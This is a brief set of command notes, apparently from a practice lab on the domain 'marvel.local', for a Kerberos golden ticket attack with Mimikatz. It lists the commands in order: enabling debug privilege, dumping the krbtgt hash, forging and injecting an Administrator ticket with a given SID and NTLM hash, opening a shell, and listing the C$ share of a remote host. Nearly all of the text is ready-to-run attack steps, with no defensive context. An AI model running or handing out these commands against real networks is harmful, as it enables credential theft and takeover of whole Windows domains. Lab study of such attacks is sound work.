#Install mimikatz
<https://github.com/gentilkiwi/mimikatz/>

#first debug
privilege::debug

lsadump::lsa /inject name:krbtgt

#copy the sid and ntlm hash, ppt is pass the ticket id is username of admin

kerberos::golden /User:Administrator /domain:marvel.local /sid:S-1-5-21-3195854200-2325136188-4200447239 /krbtgt:920ae267e048417fcfe00f49ecbd4b33 /id:500 /ptt

#now popup a shell
misc::cmd

#list file when popped up
dir \\\\10.10.10.220\\c$